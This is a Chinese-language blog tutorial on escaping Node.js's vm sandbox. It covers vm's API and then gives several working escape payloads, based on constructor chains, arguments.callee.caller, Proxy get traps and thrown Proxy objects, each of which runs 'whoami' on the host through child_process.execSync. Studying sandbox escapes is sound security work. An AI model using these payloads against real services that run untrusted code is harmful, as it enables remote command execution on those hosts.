VM沙箱逃逸

Saofe1a

VM沙箱基本概念和使用

什么是沙箱

沙箱就是我们开辟出的单独运行代码的环境,与主机相互隔离,从而使得代码并不会影响主机上的功能。

沙箱的使用

在nodejs中,我们可以通过引入vm和vm2模块来创建沙箱,由于vm太容易逃逸,安全性不高,所以后面发展出了vm2。

上下文对象:一个普通的js对象,里面有值有方法,将其传入沙箱就变成了上下文对象,里面的值和方法只对沙箱内生效。

vm模块常用的方法:

  • vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。

  • vm.createContext([sandbox]): 在使用前需要先创建一个上下文对象,再将上下文对象传给该方法(如果没有则会生成一个空的上下文对象),v8为这个上下文对象在当前global外再创建一个作用域,此时这个上下文对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

  • vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的上下文对象,代码会在传入的上下文对象中执行,并且参数的值与上下文内的参数值相同。

  • vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版,传入要执行的代码和上下文对象。

  • vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

  • new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行,也就是写成了一个脚本。

简单来说,除了runinThisContext,其他沙箱内都无法访问到global属性。

1
2
3
4
5
6
7
8
9
10
11
12
const util = require('util');  // 引入 Node.js 内置模块 util  
const vm = require('vm'); // 引入 Node.js 内置模块 vm

global.age = 3; // 将全局变量 age 赋值为 3

const sandbox = { age: 1 }; // 创建一个上下文对象 sandbox 并将其 age 属性赋值为 1
vm.createContext(sandbox); // 创建一个沙盒运行环境,将上下文对象作为其参数传入

vm.runInContext('age *= 2;', sandbox); // 在指定的上下文中运行字符串代码,将 sandbox 中的 age 属性乘以 2

console.log(util.inspect(sandbox)); // 输出 sandbox 对象的内容,结果为 { age: 2 }
console.log(util.inspect(age)); // 输出全局变量 age 的值,结果为 3

插播一下util模块的作用:Node.js 内置模块 util 提供了一些实用的函数,可以用于简化 JavaScript 编程中的一些常见任务。这些函数包括:

  • util.format():类似于 console.log(),用于格式化输出字符串。
  • util.inspect():用于将 JavaScript 对象转换为字符串形式,便于调试和输出。
  • util.promisify():将基于回调的异步函数(例如 Node.js 中的许多 API)转换为返回 Promise 的函数,便于使用 async/await
  • util.inherits():用于实现对象之间继承关系的函数。
  • util.types:提供了一些常见 JavaScript 数据类型的判断函数,例如 util.types.isDate()util.types.isArray() 等

VM沙箱逃逸

沙箱逃逸的原理与目标

逃逸的意思就是从沙箱这个封闭的环境中逃出来,**==终极目标是获取全局对象global的全局变量process==,因为有了process我们就可以在nodejs中进行命令执行,具体语句如下:==process.mainModule.require('child_process').execSync('whoami').toString()**==

获取process的常见方法

这些方法使用于vm沙箱逃逸,同时奠定了vm2的沙箱逃逸基本思想。

  • 通过this对象进行获取

    1
    2
    3
    const vm = require("vm");  
    const y1 = vm.runInNewContext(`this.constructor.constructor('return process')()`);// 使用反引号包裹代码串可以更好执行
    console.log(y1);

    this对象指的是传进来的上下文对象本身,事实上这个对象并不属于沙箱环 境(因为它是在外面创建的)
    通过访问他的构造方法的构造器,我们得到了一个构造方法的构造器,并 构造一个方法体是return process的方法,并加上括号执行,我们就获得了process
    将第一个constructor替换成toString也是一样的,获得到沙箱外方法的构造器即可。

  • this为null
    此时this->null,无法像之前一样逃逸,这时候就得用到函数的一个内置对象属性arguments.callee.caller,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    const vm = require('vm');  
    const script =
    `(() => {
    const a = {}
    a.toString = function () {
    const cc = arguments.callee.caller;
    const p = (cc.constructor.constructor('return process'))();
    return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
    })()`;

    const sandbox = Object.create(null);
    const context = new vm.createContext(sandbox);
    const res = vm.runInContext(script, context);
    console.log('Hello ' + res)


    成功执行了命令
    分析一下这段代码,首先是箭头函数:

    重写了沙盒对象中的toString方法,然后再console.log触发,通过arguments.callee.caller获取到了一个沙盒外的对象,进而和上面一样获取process

proxy劫持

如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性

proxy就是一个hook函数,在我们去访问对象的属性时(不管是否存在)都会触发这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require("vm");  

const script =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

如上代码就是将对象a实例化为了一个Proxy对象,然后访问abc属性(不存在)触发get方法,进而导致命令执行

借助异常处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const vm = require("vm");  

const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}

上述代码的返回值无法直接利用,应该说是没有返回值
这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。

  • Title: VM沙箱逃逸
  • Author: Saofe1a
  • Created at : 2024-12-02 19:48:17
  • Updated at : 2024-12-02 19:47:29
  • Link: https://saofeia.github.io/2024/12/02/VM沙箱逃逸/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments